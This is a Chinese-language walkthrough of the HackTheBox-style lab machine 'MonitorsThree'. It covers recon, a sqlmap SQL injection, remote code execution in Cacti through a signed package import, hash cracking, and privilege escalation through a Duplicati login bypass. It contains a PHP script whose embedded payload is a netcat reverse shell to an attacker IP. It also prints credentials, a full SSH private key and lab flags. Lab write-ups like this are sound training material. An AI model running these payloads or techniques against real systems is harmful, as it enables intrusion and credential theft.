当前位置: 首页 > news >正文

[Meachines] [Medium] MonitorsThree SQLI+Cacti-CMS-RCE+Duplicati权限提升

信息收集

IP AddressOpening Ports
10.10.11.30TCP:22,80

$ nmap -p- 10.10.11.30 --min-rate 1000 -sC -sV -Pn

PORT      STATE    SERVICE       VERSION
22/tcp    open     ssh           OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_  256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp    open     http          nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kerne

Cacti

# echo '10.10.11.30 monitorsthree.htb' >>/etc/hosts

http://monitorsthree.htb/

image.png

$ ffuf -w ~/Subdomain.txt -u http://monitorsthree.htb -H 'HOST: FUZZ.10.10.11.30' -fs 13560

image-1.png

# echo '10.10.11.30 cacti.monitorsthree.htb' >>/etc/hosts

http://cacti.monitorsthree.htb/cacti/

image-2.png

$ sqlmap -u 'http://monitorsthree.htb/forgot_password.php' --level=5 --risk=3 --batch

image-37.png

admin:greencacti2001

image-3.png

<?php$xmldata = "<xml><files><file><name>resource/test.php</name><data>%s</data><filesignature>%s</filesignature></file></files><publickey>%s</publickey><signature></signature>
</xml>";
$filedata = "<?php shell_exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.43 10032 >/tmp/f'); ?>";
$keypair = openssl_pkey_new(); 
$public_key = openssl_pkey_get_details($keypair)["key"]; 
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");?>

$ php rev.php

Import/Export -> Import Packages

image-4.png

image-5.png

www-data@monitorsthree:~/html$ cat /var/www/html/cacti/include/config.php

user:cactiuser password:cactiuser

MariaDB [cacti]> select * from user_auth\G;

image-10.png

$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK

$ hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt

image-11.png

user:marcus password:12345678910

www-data@monitorsthree:~/html/cacti/resource$ su marcus

image-12.png

User.txt

f9fb42ef0c734ab3310e509e6b1117c5

Privilege Escalation && Duplicati

$ ./chisel client 10.10.16.43:8000 R:8200:localhost:8200

$ chisel server -p 8000 --reverse

image-9.png

image-8.png

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

$ scp -i /tmp/id_rsa marcus@monitorsthree.htb:/opt/duplicati/config/Duplicati-server.sqlite .

$ sqlite3 Duplicati-server.sqlite

image-14.png

image-17.png

$ echo 'Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=' | base64 -d | xxd -p -c 256

image-18.png

get-nonce=1

image-22.png

2dlBrErvpm9f5CXhY945hSOXSKoL0dlRcP8/4L0sRXM=

var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a'; 
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('2dlBrErvpm9f5CXhY945hSOXSKoL0dlRcP8/4L0sRXM=') + saltedpwd)).toString(CryptoJS.enc.Base64);
console.log(noncedpwd);

image-23.png

password=h4LMqdVeLuzUINQU48IOw%2bCMiGqxaMi6rs/p1CDsm0Y%3d

image-24.png

image-25.png

http://127.0.0.1:8200/ngax/index.html#/add

image-26.png

/source/tmp/

image-33.png

/source/root/root.txt

image-28.png

添加路径

image-32.png

image-30.png

http://127.0.0.1:8200/ngax/index.html#/restorestart

image-31.png

http://127.0.0.1:8200/ngax/index.html#/restore/18

image-34.png

image-35.png

image-36.png

$ marcus@monitorsthree:~/root.txt$ cat root.txt

Root.txt

0bc465bacfe9ffc0f42898508faafa69

相关文章:

[Meachines] [Medium] MonitorsThree SQLI+Cacti-CMS-RCE+Duplicati权限提升

信息收集 IP AddressOpening Ports10.10.11.30TCP:22&#xff0c;80 $ nmap -p- 10.10.11.30 --min-rate 1000 -sC -sV -Pn PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | …...

Elasticsearch专栏-4.es基本用法-查询api

es基本用法-查询api 说明查询所有某一字段匹配查询多字段查询bool查询范围查询精确查询正则匹配模糊查询结果处理 说明 es对数据的检索&#xff0c;总结下来就是两部分&#xff0c;即查询和处理。查询指的是查找符合条件的数据&#xff0c;包括查询所有、匹配查询、布尔查询、…...

jmeter基础04_设置外观和字体

1、设置外观 默认跟随系统风格&#xff0c;你可以试一试选择自己喜欢的风格。&#xff08;浅色模式/深色模式…&#xff09; 操作&#xff1a;菜单栏“选项” - “外观”&#xff0c;选择外观风格。 2、放缩显示比例&#xff08;重启后复原&#xff09; “选项” - “放大/缩小…...

重构代码之替换参数为显式方法

替换参数为显式方法 是一种重构技术&#xff0c;旨在通过替换方法参数来创建更清晰、更具可读性的代码。当一个方法包含标志性参数时&#xff0c;该方法的行为可能会根据参数的不同而发生改变。这样会导致方法的调用方式不够明确&#xff0c;因为调用者不一定能直观地知道每个参…...

三菱QD77MS定位模块速度限制功能

“速度限制功能”是控制中的指令速度超过“速度限制值”的情况下&#xff0c;将指令速度限制在“速度限制值”的设置范围内的功能。 [1]速度限制功能与各控制的关系 速度限制功能”与各控制的关系如下所示。 [3]速度限制功能的设置方法 使用“速度限制功能”时&#xff0c;在如…...

Axure PR 9 多级下拉选择器 设计交互

​ 大家好&#xff0c;我是大明同学。 Axure选择器是一种在交互设计中常用的组件&#xff0c;这期内容&#xff0c;我们来探讨Axure中多级下拉选择器设计与交互技巧。 下拉列表选择输入框元件 创建选择输入框所需的元件 1.在元件库中拖出一个矩形元件。 2.选中矩形元件&…...

Java基础使用②Java数据变量和类型+小知识点

目录 1. Java小知识点 1.1 Java注释 1.2 Java标识符命名 1.3 Java关键字 2. 字面常量和数据变量 2.1 字面常量 2.2 数据类型 3.变量 3.1 变量概念 3.2 语法格式 3.3 整型变量 3.4 浮点型变量 3.5 字符型变量 3.6 布尔型变量 3.7 类型转换 3.8 类型提升 4. 字符…...

从 HTTP 到 HTTPS 再到 HSTS:网站安全的演变与实践

近年来&#xff0c;随着域名劫持、信息泄漏等网络安全事件的频繁发生&#xff0c;网站安全变得越来越重要。这促使网络传输协议从 HTTP 发展到 HTTPS&#xff0c;再到 HSTS。本文将详细介绍这些协议的演变过程及其在实际应用中的重要性。 一、HTTP 协议 1.1 HTTP 简介 HTTP&…...

Qt的跨平台介绍

在实际开发中&#xff0c;Ubuntu 使用 Qt 编译并跨平台到 Windows 的场景并不算特别常见&#xff0c;但在一些特定情况下是非常有用的&#xff0c;尤其是在开发需要支持多个平台的跨平台应用时。这种方式的应用主要体现在以下几个方面&#xff1a; Linux 环境下开发 Windows 应…...

数据库DQL

DQL 语法 SELECT字段列表 FROM表名列表 WHERE条件列表 GROUP BY分组字段列表 HAVING分组后条件列表 ORDER BY排序字段列表 LIMIT分页参数 基本查询 查询多个字段 SELECT 字段1,字段2,字段3,... FROM 表名; SELECT * FROM 表名; 设置别名 SELECT 字段1 [AS 别名1],字段2 …...

Am I Isolated:一款安全态势基准测试工具

基于Rust的容器运行时扫描器作为一个容器运行&#xff0c;检测用户容器运行时隔离中的漏洞。 它还提供指导&#xff0c;帮助用户改善运行时环境&#xff0c;以提供更强的隔离保证。 容器的现状是它们并不包含&#xff08;隔离&#xff09;。 容器隔离的缺失在云原生环境中有…...

Unity性能优化 -- 性能分析工具

Stats窗口Profiler窗口Memory Profiler其他性能分析工具&#xff08;Physica Debugger 窗口&#xff0c;Import Activity 窗口&#xff0c;Code Coverage 窗口&#xff0c;Profile Analyzer 窗口&#xff0c;IMGUI Debugger 窗口&#xff09; Stats 统级数据窗口 game窗口 可…...

【微信小程序】基本语法

一、导入小程序 选择代码目录 项目配置文件 appid 当前小程序的 AppIDprojectname 当前小程序的项目名称 变更AppID&#xff08;视情况而定&#xff0c;如果没有开发权限时需要变更成个人的 AppID&#xff09; 二、模板语法 在页面中渲染数据时所用到的一系列语法叫做模板…...

go中的类型断言详解

在Go语言中&#xff0c;类型断言&#xff08;Type Assertion&#xff09;是一种将接口类型的变量转换为具体类型的机制。类型断言允许我们从接口类型的变量中提取出具体的值&#xff0c;以便访问具体类型的方法或属性。类型断言的语法如下&#xff1a; value, ok : interfaceV…...

vite构建的react程序放置图片

在 Vite 中&#xff0c;将图片放置在 public 文件夹中可以直接使用相对路径&#xff08;如 /logo.png&#xff09;的原因主要与 Vite 的构建和资源处理方式有关。以下是详细的解释&#xff1a; 1. 公共访问性 public 文件夹中的文件在构建过程中不会被 Vite 处理或哈希化。这…...

学习事件循环

本文内容由智谱清言产生。 什么是事件循环&#xff1f; 事件循环&#xff08;Event Loop&#xff09;是一个编程概念&#xff0c;特别是在异步编程和GUI&#xff08;图形用户界面&#xff09;应用程序中非常常见。它是用来处理和管理事件&#xff08;如用户输入、计时器事件、…...

终端NuShell git权限异常处理

使用nushell git,关联老的秘钥文件 D:\phpstudy_pro\WWW\xmh\backend|10-312> mkdir d:\Users\Administrator\.ssh PC-20240719ZOSM||2411063145840 D:\phpstudy_pro\WWW\xmh\backend|10-312> cp -r c:\U…...

Mybatis Plus 集成 PgSQL 指南

“哲学家们只是用不同的方式解释世界&#xff0c;而问题在于改变世界。” ——卡尔马克思 (Karl Marx) 解读&#xff1a;马克思强调了实践的重要性&#xff0c;主张哲学不仅要理解世界&#xff0c;更要致力于改造世界。 本文我们引入 Mybatis Plus 作为 ORM &#xff0c;并且使…...

Rust常用数据结构教程 Map

文章目录 一、Map类型1.HashMaphashMap的简单插入entry().or_insert()更新hashMap 2.什么时候用HashMap3.HashMap中的键 二、BTreeMap1.什么时候用BTreeMap2.BTreeMap中的键 参考 一、Map类型 键值对数据又称字典数据类型 主要有两种 HashMap - BTreeMap 1.HashMap HashM…...

<el-popover>可以展示select change改变值的时候popover 框会自动隐藏

一、问题定位 点击查看详细链接 element-plus 的 popover 组件&#xff0c;依赖 tooltip 组件&#xff1b;当 tooltip 的 trigger 的值不是 hover 时&#xff0c;会触发 close 事件&#xff1b;下拉框的 click 事件&#xff0c;触发了 tooltip 组件的 close 事件 总结一下&am…...

国防科技大学计算机基础课程笔记02信息编码

1.机内码和国标码 国标码就是我们非常熟悉的这个GB2312,但是因为都是16进制&#xff0c;因此这个了16进制的数据既可以翻译成为这个机器码&#xff0c;也可以翻译成为这个国标码&#xff0c;所以这个时候很容易会出现这个歧义的情况&#xff1b; 因此&#xff0c;我们的这个国…...

逻辑回归:给不确定性划界的分类大师

想象你是一名医生。面对患者的检查报告&#xff08;肿瘤大小、血液指标&#xff09;&#xff0c;你需要做出一个**决定性判断**&#xff1a;恶性还是良性&#xff1f;这种“非黑即白”的抉择&#xff0c;正是**逻辑回归&#xff08;Logistic Regression&#xff09;** 的战场&a…...

《Playwright:微软的自动化测试工具详解》

Playwright 简介:声明内容来自网络&#xff0c;将内容拼接整理出来的文档 Playwright 是微软开发的自动化测试工具&#xff0c;支持 Chrome、Firefox、Safari 等主流浏览器&#xff0c;提供多语言 API&#xff08;Python、JavaScript、Java、.NET&#xff09;。它的特点包括&a…...

汇编常见指令

汇编常见指令 一、数据传送指令 指令功能示例说明MOV数据传送MOV EAX, 10将立即数 10 送入 EAXMOV [EBX], EAX将 EAX 值存入 EBX 指向的内存LEA加载有效地址LEA EAX, [EBX4]将 EBX4 的地址存入 EAX&#xff08;不访问内存&#xff09;XCHG交换数据XCHG EAX, EBX交换 EAX 和 EB…...

CMake控制VS2022项目文件分组

我们可以通过 CMake 控制源文件的组织结构,使它们在 VS 解决方案资源管理器中以“组”(Filter)的形式进行分类展示。 🎯 目标 通过 CMake 脚本将 .cpp、.h 等源文件分组显示在 Visual Studio 2022 的解决方案资源管理器中。 ✅ 支持的方法汇总(共4种) 方法描述是否推荐…...

初学 pytest 记录

安装 pip install pytest用例可以是函数也可以是类中的方法 def test_func():print()class TestAdd: # def __init__(self): 在 pytest 中不可以使用__init__方法 # self.cc 12345 pytest.mark.api def test_str(self):res add(1, 2)assert res 12def test_int(self):r…...

【7色560页】职场可视化逻辑图高级数据分析PPT模版

7种色调职场工作汇报PPT&#xff0c;橙蓝、黑红、红蓝、蓝橙灰、浅蓝、浅绿、深蓝七种色调模版 【7色560页】职场可视化逻辑图高级数据分析PPT模版&#xff1a;职场可视化逻辑图分析PPT模版https://pan.quark.cn/s/78aeabbd92d1...

现有的 Redis 分布式锁库(如 Redisson)提供了哪些便利?

现有的 Redis 分布式锁库&#xff08;如 Redisson&#xff09;相比于开发者自己基于 Redis 命令&#xff08;如 SETNX, EXPIRE, DEL&#xff09;手动实现分布式锁&#xff0c;提供了巨大的便利性和健壮性。主要体现在以下几个方面&#xff1a; 原子性保证 (Atomicity)&#xff…...

Linux nano命令的基本使用

参考资料 GNU nanoを使いこなすnano基础 目录 一. 简介二. 文件打开2.1 普通方式打开文件2.2 只读方式打开文件 三. 文件查看3.1 打开文件时&#xff0c;显示行号3.2 翻页查看 四. 文件编辑4.1 Ctrl K 复制 和 Ctrl U 粘贴4.2 Alt/Esc U 撤回 五. 文件保存与退出5.1 Ctrl …...

MinIO Docker 部署:仅开放一个端口

MinIO Docker 部署:仅开放一个端口 在实际的服务器部署中,出于安全和管理的考虑,我们可能只能开放一个端口。MinIO 是一个高性能的对象存储服务,支持 Docker 部署,但默认情况下它需要两个端口:一个是 API 端口(用于存储和访问数据),另一个是控制台端口(用于管理界面…...